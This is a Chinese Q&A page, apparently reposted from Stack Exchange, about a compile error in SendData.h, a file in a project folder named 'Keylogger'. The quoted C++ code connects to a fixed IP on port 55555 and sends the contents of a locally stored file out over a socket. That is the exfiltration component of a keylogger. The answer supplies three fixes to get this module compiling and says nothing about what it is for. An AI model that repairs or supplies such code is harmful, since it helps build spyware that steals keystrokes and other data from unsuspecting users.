You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

C++编译报错:'InetPton'未声明于作用域,求解决

Windows下Code::Blocks中InetPton未声明的编译错误解决

错误信息

从C:\Users\Toqa\Documents\Keylogger\main.cpp:10引入文件时:
C:\Users\Toqa\Documents\Keylogger\SendData.h: 在构造函数‘Data::Data()’中:
C:\Users\Toqa\Documents\Keylogger\SendData.h:34:13: 错误:‘InetPton’未在此作用域中声明
InetPton(AF_INET, "172.0.0.1", &addr.sin_addr.s_addr);
^~~~~~~~
C:\Users\Toqa\Documents\Keylogger\SendData.h:34:13: 提示:建议的替代项:‘inet_ntoa’
InetPton(AF_INET, "172.0.0.1", &addr.sin_addr.s_addr);
^~~~~~~~
inet_ntoa

相关代码

#ifndef SENDDATA_H
#define SENDDATA_H

#include <winsock2.h>
#include <ws2tcpip.h>

#include "IO.h"

#include<iostream>
#include<fstream>
#include<stdio.h>
#include <unistd.h>
#include <stdlib.h>

class Data{
    std::fstream file;

    int general_socket_descriptor;

    struct sockaddr_in address;
    int address_length;

    WSADATA wsa_data;
    SOCKADDR_IN addr;

    int server;

    public:
        Data(){
            create_socket();

            InetPton(AF_INET, "172.0.0.1", &addr.sin_addr.s_addr);

            addr.sin_family = AF_INET;
            addr.sin_port = htons(55555);

            create_connection();

            std::string path = IO::GetOurPath(true);


            file.open(path + "test.txt", std::ios::in | std::ios::binary);
            if(file.is_open()){
                std::cout<<"[LOG] : File Ready...\n";
            }
            else{
                std::cout<<"[ERROR] : File creation failed, Exiting.\n";
            }
        }

        void create_socket(){
            WSAStartup(MAKEWORD(2, 0), &wsa_data);

            if (server = socket(AF_INET, SOCK_STREAM, 0)) {
                std::cout<<"[LOG] : Socket Created Successfully.\n";
            }
            else{
                perror("[ERROR] : Socket failed.\n");
            }

        }

        void create_connection(){


            if (connect(server, reinterpret_cast<SOCKADDR *>(&addr), sizeof(addr)) < 0) {
                perror("[ERROR] : connection attempt failed.\n");
            }
            std::cout<<"[LOG] : Connection Successfull.\n";
        }

        void transmit_file(){
            std::string contents((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
            std::cout<<"[LOG] : Transmission Data Size "<<contents.length()<<" Bytes.\n";

            std::cout<<"[LOG] : Sending...\n";

            int bytes_sent = send(server , contents.c_str() , contents.length() , 0 );
            std::cout<<"data: "<<contents.c_str()<<"\n end \n";
            std::cout<<"[LOG] : Transmitted Data Size "<<bytes_sent<<" Bytes.\n";

            std::cout<<"[LOG] : File Transfer Complete.\n";

        }

};

#endif // SENDDATA_H

编译环境

  • 编译命令:g++.exe -o bin\Debug\Test.exe obj\Debug\main.o -mwindows -lws2_32
  • 编译器版本:g++ (x86_64-posix-seh-rev0, Built by MinGW-W64 project) 8.1.0

问题说明

已添加-lws2_32链接参数,但仍出现InetPton未声明的错误,请求解决。

解决方案

方案1:定义Windows版本宏启用现代Winsock函数

InetPton属于Winsock 2的现代函数,需要定义足够高的Windows版本宏才能让头文件暴露其声明。在包含<winsock2.h>和<ws2tcpip.h>之前添加宏定义:

#define _WIN32_WINNT 0x0600 // 对应Windows Vista及以上,也可设为0x0501兼容XP

修改后的头文件开头示例:

#ifndef SENDDATA_H
#define SENDDATA_H

#define _WIN32_WINNT 0x0600
#include <winsock2.h>
#include <ws2tcpip.h>

// 其余代码保持不变

方案2:使用兼容函数inet_addr替代

如果不想修改宏定义,可改用旧版兼容函数inet_addr替换InetPton,无需额外配置即可使用:

// 替换原InetPton调用行
addr.sin_addr.s_addr = inet_addr("172.0.0.1");

注意:inet_addr不支持IPv6,且处理无效IP时会返回INADDR_NONE,需要额外做合法性判断。

方案3:补充链接iphlpapi库

部分旧版MinGW-W64环境中,InetPton需要依赖iphlpapi库,尝试在编译命令中添加-liphlpapi参数:

g++.exe  -o bin\Debug\Test.exe obj\Debug\main.o  -mwindows  -lws2_32 -liphlpapi

内容的提问来源于stack exchange,提问作者User1

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.09 03:10:14